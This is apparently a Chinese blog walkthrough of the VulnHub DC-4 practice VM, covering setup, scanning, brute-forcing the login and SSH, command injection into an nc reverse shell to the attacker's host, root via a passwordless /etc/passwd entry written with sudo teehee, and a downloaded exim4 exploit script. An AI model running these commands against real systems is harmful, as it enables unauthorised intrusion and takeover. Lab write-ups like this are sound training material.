[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)

最新推荐文章于 2024-04-29 01:17:30 发布

_PowerShell

最新推荐文章于 2024-04-29 01:17:30 发布

阅读量1.1k

点赞数 4

分类专栏： vulnhub 综合靶场通关之路文章标签： vulnhub靶机通关篇 DC-4 通关详解渗透测试靶机详解一起来打靶渗透测试靶机搭建

本文链接：https://blog.csdn.net/qq_51577576/article/details/129479752

版权

vulnhub 综合靶场通关之路专栏收录该内容

8 篇文章 26 订阅

订阅专栏

🍬 博主介绍

👨‍🎓 博主介绍：大家好，我是 _PowerShell ，很高兴认识大家~
✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

一、环境搭建：

1、靶场描述

DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

只有一个flag

2、下载靶场环境

靶场下载地址：

https://www.vulnhub.com/entry/dc-4,313/

下载下来的文件如下

在这里插入图片描述

3、启动靶场环境

下载下来是虚拟机压缩文件，直接用Vmvare导入就行。

在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。

在这里插入图片描述

虚拟机开启之后界面如下，我们不知道ip，需要自己探活，网段知道：192.168.233.0/24

在这里插入图片描述

二、渗透靶场

1、目标：

目标就是我们搭建的靶场，靶场IP为：192.168.233.0/24

2、信息收集：寻找靶机真实IP

使用nmap进行探活，寻找靶机ip

nmap -sP 192.168.233.0/24

在这里插入图片描述

也可以使用arp-scan进行探活，寻找靶机ip

arp-scan -l

在这里插入图片描述

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.180

192.168.233.1		vm8网卡
192.168.233.2		网关
192.168.233.179	靶机
192.168.233.254	DHCP服务器
192.168.233.130	kali本机

3、信息收集：探端口及服务

使用nmap探活端口

nmap -A -p- -v 192.168.233.180

在这里插入图片描述

发现开放了22端口，存在ssh服务，OpenSSH 7.4p1
发现开放了80端口，存在web服务，nginx 1.15.10
也可以使用masscan探活端口

masscan --rate=10000 --ports 0-65535 192.168.233.180

在这里插入图片描述

然后进行web指纹识别

whatweb -v 192.168.233.180

在这里插入图片描述

4、目录爆破

只发现登录框

在这里插入图片描述

5、访问web服务

http://192.168.233.180/

在这里插入图片描述

发现是一个登录框，我们第一反应就是能不能爆破出弱口令，然后就是有没有可能使用万能密码

6、爆破账号密码

这里使用bp尝试获取弱口令
Bp抓个包，发送到爆破模块

在这里插入图片描述

设置好爆破点

在这里插入图片描述

导入优秀的字典
我使用的字典

https://pan.baidu.com/s/1fMyJSuftvT3NSOjA7BkT-A?pwd=uiwr

账号我导入了一个常用用户名

在这里插入图片描述

密码我导入了一个top1000

在这里插入图片描述

开始爆破

在这里插入图片描述

爆破中

在这里插入图片描述

爆破结果如下：
发现admin/happy这一组返回包长度最长，猜想他就是账号密码

在这里插入图片描述

使用admin/happy登录成功

在这里插入图片描述

7、发现任意命令执行

发现它有一个命令，我们点进去看一下

在这里插入图片描述

发现这里可以执行三种命令
点击list files好像是执行了ls -l

在这里插入图片描述

点击run抓个包看一下
发现真的是执行了ls -l

在这里插入图片描述

发现执行了ls并回返值，猜想能不能执行任意命令
把抓到的包放入重放攻击模块修改命令进行重放攻击
由上面ls -l拼接方式看，我们可以知道空格使用+代替
执行ls

在这里插入图片描述

执行whoami

在这里插入图片描述

执行id

在这里插入图片描述

执行ip+add

在这里插入图片描述

由上面的测试可知确实存在任意命令执行，空格由+代替

8、反弹shell到kali

1.攻击机监听

nc -lvvp 55555

Nc反弹shell详解在文末给出链接

在这里插入图片描述

2.靶机连接

连接命令

nc 192.168.233.130 55555 -e /bin/bash

经过+拼接如下

nc+192.168.233.130+55555+-e+/bin/bash

在这里插入图片描述

3.反弹shell成功

在这里插入图片描述

执行ls

在这里插入图片描述

9、进入交互式shell

都知道上面的到的shell不好用，我们进入交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

10、teehee提权

这个靶机可以使用exim4提权也可以使用teehee提权，两种提权方式选择一种即可，这里我两种提权方式都有些到

1、查看当前权限

查看当前权限，不是root权限

id 
Whoami

在这里插入图片描述

2、发现old-passwords.bak文件

查看系统里面有什么文件
在/home/jim/backups下看到一个old-passwords.bak文件，看名字应该是一堆密码，而且是jim用户使用过的密码

在这里插入图片描述

打开看一下发现一堆密码

在这里插入图片描述

感觉可以做爆破字典
把文件保存下来

在这里插入图片描述

3、爆破出jim的ssh密码

使用hydra爆破一下ssh密码

hydra -l jim -P /root/Desktop/old-passwords.bak.txt 192.168.233.180 ssh

用户名为jim，密码为我们保存的old-passwords.bak.txt

在这里插入图片描述

果然爆破出一个一对用户密码

jim/jibril04

使用kali登录jim

ssh jim@192.168.79.132

密码是jibril04
成功登录jim用户

在这里插入图片描述

4、发现charles用户密码

继续探索
在/var/spool/mail目录下发现一封名为jim的邮件
邮件内容大致为：
我今天要去度假了，所以老板让我给你我的密码，以防有什么事情发生错了。
也就是说这里我们又拿到了一个用户名和密码

Charles/^xHhA&hvim0y

在这里插入图片描述

直接su 切换用户试试

su Charles

提示没有这个用户名，那很明显首字母我们需要小写

su charles

然后输入密码

^xHhA&hvim0y

在这里插入图片描述

成功用su命令切换到用户charles

5、teehee提权

1、查看使用sudo运行的命令

sudo -l

看到一个teehee提权，我们可以用teehee写一些信息到/etc/passwd里面

在这里插入图片描述

2、执行如下命令进行提权：

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

命令的意思大致利用teehee为把如下信息写到/etc/passwd里面，在用户名admin 没有密码为管理员权限，进入的时候运行/bin/bash
3、/etc/passwd 内每个字段含义如下

admin::0:0:::/bin/bash
username:password:User ID:Group ID:comment:home directory:shell

4、成功提权为root

在这里插入图片描述

11、exim4提权

这个靶机可以使用exim4提权也可以使用teehee提权，两种提权方式选择一种即可，这里我两种提权方式都有些到

1、查看当前权限

查看当前权限，不是root权限

id 
whoami

在这里插入图片描述

2、发现可以用exim4进行提权

看看具有SUID权限的命令

find / -user root -perm -4000 -print 2>/dev/null

发现exim4命令具有SUID权限，exim4是可以用来提权的

在这里插入图片描述

查看查看exim4版本，发现exim4版本为4.89

exim4 --version

在这里插入图片描述

3、寻找exim4提权脚本

1、本地漏洞库查找exim 4漏洞

searchsploit exim 4

exim4版本为4.89，发现有好几个可以用，还有两个提权，这里我们选用46996

在这里插入图片描述

4、上传提权脚本到靶机

开启apache服务

systemctl start apache2.service

将选用的46996拷贝到kali的apache web页面下

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

在这里插入图片描述

访问kali服务下载提权脚本

http://kali-ip/46996.sh

DC-4下载提权脚本

wget http://192.168.233.130/46996.sh

提示可以访问，但拒绝访问，可能是目录权限不够，尝试切换到/tmp目录进行下载

在这里插入图片描述

cd /tmp
wget http://192.168.233.130/46996.sh

成功下载提权脚本

在这里插入图片描述

5、exim4提权

我们已经上传了提权脚本到靶机，接下来我们需要运行脚本进行提权

ls -l

在这里插入图片描述

查看脚本权限，发现没有执行权限，我们需要给脚本加执行权限

chmod +x 46996.sh

在这里插入图片描述

执行脚本

./46996.sh

在这里插入图片描述

成功提权为root权限

在这里插入图片描述

发现flag

在这里插入图片描述

12.发现flag.txt

有了root权限，我们切换到root目录下，查看文件，发现flag.txt文件

cd /root
ls
cat flag.txt

在这里插入图片描述

_PowerShell

关注

4
点赞
踩
10

收藏

觉得还不错? 一键收藏
打赏
0
评论
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)从信息收集到拿到低权限，最后提权获取最高权限，详细解读
复制链接

扫一扫